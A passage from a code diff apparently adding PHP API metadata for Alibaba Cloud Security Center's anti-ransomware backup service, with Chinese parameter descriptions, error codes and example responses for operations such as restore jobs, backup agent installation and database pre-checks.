+ ], + 'ClientId' => [ + 'description' => '备份客户端ID。'."\n" + ."\n" + .'> 调用[DescribeSnapshots](~~DescribeSnapshots~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'c-000a4h33w14ka8xa****', + ], + 'VaultId' => [ + 'description' => '恢复任务的备份仓库ID。'."\n" + .'>调用[DescribeSnapshots](~~DescribeSnapshots~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'v-0004vhwcs2pmacfz****', + ], + 'SourceType' => [ + 'description' => '数据源类型。取值范围：'."\n" + ."\n" + .'- **ECS_FILE**：ECS文件的备份快照。'."\n" + .'- **OSS**：阿里云OSS的备份快照。'."\n" + .'- **NAS**：阿里云NAS的备份快照。'."\n" + .'- **OTS_TABLE**：阿里云表格存储的备份快照。', + 'type' => 'string', + 'required' => true, + 'example' => 'ECS_FILE', + ], + 'InstanceId' => [ + 'description' => '服务器实例的ID。', + 'type' => 'string', + 'required' => true, + 'example' => 'i-j6cj8vyajp1fo4at****', + ], + 'RegionId' => [ + 'description' => '云安全中心实例地域。取值为：'."\n" + ."\n" + .'- **cn-hangzhou：** 杭州'."\n" + .'- **ap-southeast-1：** 新加坡'."\n" + .'- **cn-beijing：** 北京', + 'type' => 'string', + 'required' => true, + 'example' => 'cn-beijing', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 50, + ], + ], + [ + 'name' => 'BackupRegionIdList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '备份区域集合。', + 'type' => 'array', + 'items' => [ + 'description' => '区域。', + 'type' => 'string', + 'required' => false, + 'example' => 'cn-hangzhou', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7BC55C8F-226E-5AF5-9A2C-2EC43864****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'CannotDeleteLatestSnapshot', + 'errorMessage' => 'Can not delete latest snapshot.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7BC55C8F-226E-5AF5-9A2C-2EC43864****\\"\\n}","type":"json"}]', + 'title' => '删除备份快照', + ], + 'CreateRestoreJob' => [ + 'summary' => '创建一个防勒索恢复任务。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'create', + ], + 'parameters' => [ + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '需要恢复的服务器的uuid。', + 'type' => 'string', + 'required' => true, + 'example' => 'inet-ecs-4e876cb0-09f7-43b8-82ef-4bc7a93769b5', + ], + ], + [ + 'name' => 'SnapshotId', + 'in' => 'query', + 'schema' => [ + 'description' => '需要恢复的快照id。'."\n" + .'>调用[DescribeSnapshots](~~DescribeSnapshots~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 's-00023dhaatxp18mh****', + ], + ], + [ + 'name' => 'SnapshotHash', + 'in' => 'query', + 'schema' => [ + 'description' => '快照hash值。'."\n" + .'>调用[DescribeSnapshots](~~DescribeSnapshots~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'd4b399edaad94b038e8f91873f19e3eae010ca30798fc36db3a164dd343f****', + ], + ], + [ + 'name' => 'Target', + 'in' => 'query', + 'schema' => [ + 'description' => '恢复路径。', + 'type' => 'string', + 'required' => true, + 'example' => '/root/testfls', + ], + ], + [ + 'name' => 'SourceType', + 'in' => 'query', + 'schema' => [ + 'description' => '数据源类型。取值范围：'."\n" + .'* **ECS_FILE**：表示ECS文件的备份快照。'."\n" + .'* **File**：表示本地服务器备份快照。', + 'type' => 'string', + 'required' => false, + 'example' => 'ECS_FILE', + ], + ], + [ + 'name' => 'VaultId', + 'in' => 'query', + 'schema' => [ + 'description' => '恢复任务的备份仓库id。'."\n" + .'>调用[DescribeSnapshots](~~DescribeSnapshots~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'v-0002n12wokck2q0x****', + ], + ], + [ + 'name' => 'SnapshotVersion', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器数据的恢复版本（即备份版本）。'."\n" + .'>调用[DescribeSnapshots](~~DescribeSnapshots~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '165570544****', + ], + ], + [ + 'name' => 'Includes', + 'in' => 'query', + 'schema' => [ + 'description' => '恢复文件中所包含的目录。该目录是在创建防勒索防护策略时指定的，即需要防护的目录。', + 'type' => 'string', + 'required' => true, + 'example' => '["root"]', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'BD4B24CE-E5C4-5727-B731-BE85F1D4****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"BD4B24CE-E5C4-5727-B731-BE85F1D4****\\"\\n}","type":"json"}]', + 'title' => '创建防勒索还原任务', + ], + 'UninstallUniBackupAgent' => [ + 'summary' => '卸载数据库备份客户端。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + ], + 'parameters' => [ + [ + 'name' => 'PolicyId', + 'in' => 'query', + 'schema' => [ + 'description' => '数据库防勒索备份策略的ID。'."\n" + .'>调用[DescribeUniBackupPolicies](~~DescribeUniBackupPolicies~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '123', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '9D97AFC3-AA58-5B8F-BBC4-16D7D8AB****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"9D97AFC3-AA58-5B8F-BBC4-16D7D8AB****\\"\\n}","type":"json"}]', + 'title' => '卸载数据库备份客户端', + ], + 'StartPreCheckDatabase' => [ + 'summary' => '启动数据库预检。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '92446', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'DatabaseType', + 'in' => 'query', + 'schema' => [ + 'description' => '数据库类型，取值如下：'."\n" + ."\n" + .'- **MYSQL**'."\n" + .'- **MSSQL**'."\n" + .'- **Oracle**', + 'type' => 'string', + 'required' => true, + 'example' => 'MYSQL', + ], + ], + [ + 'name' => 'UniRegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '数据库服务器所在的地域ID。', + 'type' => 'string', + 'required' => true, + 'example' => 'cn-hongkong', + ], + ], + [ + 'name' => 'InstanceUuid', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器数据库备份客户端唯一标识。'."\n" + .'>调用[DescribeUniBackupDatabase](~~DescribeUniBackupDatabase~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'ec1c0ba21d2911ed800000163e0e****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'CreateMark' => [ + 'description' => '数据库预检任务ID。', + 'type' => 'string', + 'example' => 't-0006d4pydyir6l1k****', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F6DC2DFF-AB3A-563A-8FC2-3D0D991E****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CreateMark\\": \\"t-0006d4pydyir6l1k****\\",\\n \\"RequestId\\": \\"F6DC2DFF-AB3A-563A-8FC2-3D0D991E****\\"\\n}","type":"json"}]', + 'title' => '启动数据库预检', + ], + 'StartDiscoverDatabaseTask' => [ + 'summary' => '启动数据库扫描任务。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '92443', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'CreateMark' => [ + 'description' => '扫描任务标识。', + 'type' => 'string', + 'example' => '48bced6d-2aee-4fa2-9aba-b846b77b****', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F46921AF-CC55-5971-92C9-7E09E160****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'TaskIsProcessing', + 'errorMessage' => 'Task Is Processing.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CreateMark\\": \\"48bced6d-2aee-4fa2-9aba-b846b77b****\\",\\n \\"RequestId\\": \\"F46921AF-CC55-5971-92C9-7E09E160****\\"\\n}","type":"json"}]', + 'title' => '启动数据库扫描任务', + ], + 'QueryPreCheckDatabase' => [ + 'summary' => '查询数据库预检任务结果。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'TaskId', + 'in' => 'query', + 'schema' => [ + 'description' => '数据库预检任务ID。'."\n" + .'> 您可以调用[StartPreCheckDatabase](~~StartPreCheckDatabase~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 't-000bc9nqwxsbyvod****', + ], + ], + [ + 'name' => 'InstanceUuid', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器数据库备份客户端唯一标识。'."\n" + .'>调用[DescribeUniBackupDatabase](~~DescribeUniBackupDatabase~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'ebc895506c6911ed800000163e0e****', + ], + ], + [ + 'name' => 'UniRegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '数据库服务器所在的地域ID。', + 'type' => 'string', + 'required' => true, + 'example' => 'cn-hangzhou', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => 'CE500770-42D3-442E-9DDD-156E0F9F****', + ], + 'Progress' => [ + 'description' => '预检查进度。取值范围：0~100。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'Result' => [ + 'description' => '预检查任务结果。格式为JSON字符串，KEY取值：'."\n" + ."\n" + .'- **instanceId**：数据库所在服务器实例ID'."\n" + .'- **checkTime**：预检时间'."\n" + .'- **sourceType**：数据库类型'."\n" + .'- **results**：预检项与结果'."\n" + .' - **item**：预检项'."\n" + .' - **result**：预检结果'."\n" + ."\n" + .'> 预检项说明'."\n" + .'> - MSSQL'."\n" + .'> - **OSS\\_INTERNAL\\_ENDPOINT\\_CONNECTIVITY：OSS**连接性检查 '."\n" + .'> - **SERVICE\\_CONNECTIVITY**：管控网络连接性检查'."\n" + .'> - **SQL\\_SERVER\\_DB\\_IN\\_SIMPLE\\_RECOVERY\\_MODE**：恢复模式检查'."\n" + .'> - **SQL\\_SERVER\\_DB\\_NOT\\_ONLINE**：SQL Server数据库状态检查'."\n" + .'> - ORACLE'."\n" + .'> - **OSS\\_INTERNAL\\_ENDPOINT\\_CONNECTIVITY：OSS**连接性检查 '."\n" + .'> - **SERVICE\\_CONNECTIVITY**：管控网络连接性检查'."\n" + .'> - **ORACLE\\_INSTANCE\\_STATUS**：Oracle实例状态检查'."\n" + .'> - **ORACLE\\_DB\\_STATUS**：Oracle数据库状态检查'."\n" + .'> - **ARCHIVELOG**：归档模式检查'."\n" + .'> - MYSQL'."\n" + .'> - **OSS\\_INTERNAL\\_ENDPOINT\\_CONNECTIVITY：OSS**连接性检查 '."\n" + .'> - **SERVICE\\_CONNECTIVITY**：管控网络连接性检查'."\n" + .'> - **MYSQL\\_VERSION**：支持全量备份的版本检查'."\n" + .'> - **MYSQL\\_BINLOG**：BINLOG检查', + 'type' => 'string', + 'example' => '['."\n" + .' {'."\n" + .' "instanceId": "i-wz91if83t97xgtn2****",'."\n" + .' "checkTime": 1671245753,'."\n" + .' "sourceType": "MSSQL",'."\n" + .' "results":'."\n" + .' ['."\n" + .' {'."\n" + .' "item": "OSS_INTERNAL_ENDPOINT_CONNECTIVITY",'."\n" + .' "result": "PASSED"'."\n" + .' },'."\n" + .' {'."\n" + .' "item": "SERVICE_CONNECTIVITY",'."\n" + .' "result": "PASSED"'."\n" + .' },'."\n" + .' {'."\n" + .' "item": "SQL_SERVER_DB_IN_SIMPLE_RECOVERY_MODE",'."\n" + .' "result": "WARNING"'."\n" + .' },'."\n" + .' {'."\n" + .' "item": "SQL_SERVER_DB_NOT_ONLINE",'."\n" + .' "result": "PASSED"'."\n" + .' }'."\n" + .' ]'."\n" + .' }'."\n" + .']', + ], + 'CompletedTime' => [ + 'description' => '预检查完成的时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1657524396', + ], + 'Description' => [ + 'description' => '预检查任务状态描述。取值如下：'."\n" + ."\n" + .'- **completed**：已完成'."\n" + .'- **created**：已开始'."\n" + .'- **error**：预检失败', + 'type' => 'string', + 'example' => 'completed', + ], + 'UpdatedTime' => [ + 'description' => '预检查最后更新的时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1671084106', + ], + 'CreatedTime' => [ + 'description' => '预检查开始的时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1660448660', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CE500770-42D3-442E-9DDD-156E0F9F****\\",\\n \\"Progress\\": 100,\\n \\"Result\\": \\"[\\\\n {\\\\n \\\\\\"instanceId\\\\\\": \\\\\\"i-wz91if83t97xgtn2****\\\\\\",\\\\n \\\\\\"checkTime\\\\\\": 1671245753,\\\\n \\\\\\"sourceType\\\\\\": \\\\\\"MSSQL\\\\\\",\\\\n \\\\\\"results\\\\\\":\\\\n [\\\\n {\\\\n \\\\\\"item\\\\\\": \\\\\\"OSS_INTERNAL_ENDPOINT_CONNECTIVITY\\\\\\",\\\\n \\\\\\"result\\\\\\": \\\\\\"PASSED\\\\\\"\\\\n },\\\\n {\\\\n \\\\\\"item\\\\\\": \\\\\\"SERVICE_CONNECTIVITY\\\\\\",\\\\n \\\\\\"result\\\\\\": \\\\\\"PASSED\\\\\\"\\\\n },\\\\n {\\\\n \\\\\\"item\\\\\\": \\\\\\"SQL_SERVER_DB_IN_SIMPLE_RECOVERY_MODE\\\\\\",\\\\n \\\\\\"result\\\\\\": \\\\\\"WARNING\\\\\\"\\\\n },\\\\n {\\\\n \\\\\\"item\\\\\\": \\\\\\"SQL_SERVER_DB_NOT_ONLINE\\\\\\",\\\\n \\\\\\"result\\\\\\": \\\\\\"PASSED\\\\\\"\\\\n }\\\\n ]\\\\n }\\\\n]\\",\\n \\"CompletedTime\\": 1657524396,\\n \\"Description\\": \\"completed\\",\\n \\"UpdatedTime\\": 1671084106,\\n \\"CreatedTime\\": 1660448660\\n}","type":"json"}]', + 'title' => '查询数据库预检任务结果', + ], + 'QueryDiscoverDatabase' => [ + 'summary' => '查询数据库扫描任务进度。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'CreateMark', + 'in' => 'query', + 'schema' => [ + 'description' => '扫描任务标识。'."\n" + .'>调用[StartDiscoverDatabaseTask](~~StartDiscoverDatabaseTask~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '7f7b051f-7d1c-46da-b253-a03f3a27****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'TaskProgress' => [ + 'description' => '数据库扫描任务进度，单位为百分比（%）。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '90', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TaskProgress\\": 90,\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92****\\"\\n}","type":"json"}]', + 'title' => '查询数据库扫描任务进度', + ], + 'ModifyUniBackupPolicy' => [ + 'summary' => '修改数据库防勒索备份策略。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas7JO011', + ], + ], + 'parameters' => [ + [ + 'name' => 'PolicyId', + 'in' => 'query', + 'schema' => [ + 'description' => '数据库防勒索备份策略的ID。'."\n" + .'>调用[DescribeUniBackupPolicies](~~DescribeUniBackupPolicies~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '123', + ], + ], + [ + 'name' => 'PolicyName', + 'in' => 'query', + 'schema' => [ + 'description' => '数据库防勒索备份策略的名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'databak', + ], + ], + [ + 'name' => 'Retention', + 'in' => 'query', + 'schema' => [ + 'description' => '备份快照保留天数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '7', + ], + ], + [ + 'name' => 'SpeedLimiter', + 'in' => 'query', + 'schema' => [ + 'description' => '备份网络带宽限制。单位为字节。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1048576', + ], + ], + [ + 'name' => 'AccountName', + 'in' => 'query', + 'schema' => [ + 'description' => '数据库账户名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'sa', + ], + ], + [ + 'name' => 'AccountPassword', + 'in' => 'query', + 'schema' => [ + 'description' => '数据库账户密码。', + 'type' => 'string', + 'required' => false, + 'example' => 'Sa@****', + ], + ], + [ + 'name' => 'FullPlan', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'description' => '全量备份策略。格式为JSON格式。包含以下字段：'."\n" + ."\n" + .'- **start**：备份开始时间'."\n" + .'- **interval**：间隔周期'."\n" + .'- **type**：间隔周期单位'."\n" + .'- **days**：周中执行日期', + 'type' => 'object', + 'required' => false, + 'example' => '{"days":[4],"interval":1,"planType":"weekly","startTime":"22:00:00"}', + ], + ], + [ + 'name' => 'IncPlan', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'description' => '增量备份策略。格式为JSON格式。包含以下字段：'."\n" + .'- **start**：备份开始时间'."\n" + .'- **interval**：间隔周期'."\n" + .'- **type**：间隔周期单位'."\n" + .'- **days**：周中执行日期', + 'type' => 'object', + 'required' => false, + 'example' => '{"interval":1,"planType":"daily","startTime":"23:30:00"}', + ], + ], + [ + 'name' => 'PolicyStatus', + 'in' => 'query', + 'schema' => [ + 'description' => '策略状态。取值：'."\n" + .'- **enabled**：启用策略'."\n" + .'- **disabled**：已禁用策略', + 'type' => 'string', + 'required' => false, + 'example' => 'enabled', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '3F6FAB39-5AF7-5B2C-A17D-16D52AE0****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'FailedToActivateUniBackupInstance', + 'errorMessage' => 'Failed to activate unbackup instance.', + ], + [ + 'errorCode' => 'AntiRansomwareCapacityUseUp', + 'errorMessage' => 'anti ransomware capacity use up', + ], + [ + 'errorCode' => 'InvalidParam', + 'errorMessage' => 'There was an error with your request.', + ], + [ + 'errorCode' => 'UniBackupPlanNotFound', + 'errorMessage' => 'The backup plan cannot be found.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3F6FAB39-5AF7-5B2C-A17D-16D52AE0****\\"\\n}","type":"json"}]', + 'title' => '更新数据库防勒索策略', + ], + 'InstallUniBackupAgent' => [ + 'summary' => '安装数据库防勒索客户端。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'none', + ], + 'parameters' => [ + [ + 'name' => 'PolicyId', + 'in' => 'query', + 'schema' => [ + 'description' => '数据库防勒索备份策略的ID。'."\n" + .'>调用[DescribeUniBackupPolicies](~~DescribeUniBackupPolicies~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '123', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '53ACA55D-0325-5056-A72D-D0EC0B9C****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"53ACA55D-0325-5056-A72D-D0EC0B9C****\\"\\n}","type":"json"}]', + 'title' => '安装数据库防勒索客户端', + ], + 'DescribeUniSupportRegion' => [ + 'summary' => '查询数据库防勒索支持地域列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F35F45B0-5D6B-4238-BE02-A62D0760****', + ], + 'UniSupportRegion' => [ + 'description' => '数据库防勒索支持地域集合。', + 'type' => 'array', + 'items' => [ + 'description' => '数据库防勒索支持地域。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F35F45B0-5D6B-4238-BE02-A62D0760****\\",\\n \\"UniSupportRegion\\": [\\n \\"cn-hangzhou\\"\\n ]\\n}","type":"json"}]', + 'title' => '查询数据库防勒索支持地域', + ], + 'DescribeUniRecoverableList' => [ + 'summary' => '查询可恢复数据库备份列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas7JO011', + ], + ], + 'parameters' => [ + [ + 'name' => 'PolicyId', + 'in' => 'query', + 'schema' => [ + 'description' => '数据库防勒索备份策略的ID。'."\n" + .'>调用[DescribeUniBackupPolicies](~~DescribeUniBackupPolicies~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '123', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'Database', + 'in' => 'query', + 'schema' => [ + 'description' => '数据库名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'msdb', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F35F45B0-5D6B-4238-BE02-A62D0760****', + ], + 'Database' => [ + 'description' => '数据库名称。', + 'type' => 'string', + 'example' => 'msdb', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的可恢复数据库备份快照的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的可恢复数据库备份快照的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '23', + ], + 'Count' => [ + 'description' => '当前页面显示的可恢复数据库备份快照的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'RecoverableInfoList' => [ + 'description' => '可恢复数据库备份快照列表。', + 'type' => 'array', + 'items' => [ + 'description' => '可恢复数据库备份快照信息。', + 'type' => 'object', + 'properties' => [ + 'LastTime' => [ + 'description' => '最新备份的时间戳，单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1671468180000', + ], + 'ResetTime' => [ + 'description' => '针对Oracle数据库查询备份时，对应查询可恢复的时间点中所选择记录的**reset_time**值。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '2021-01-30 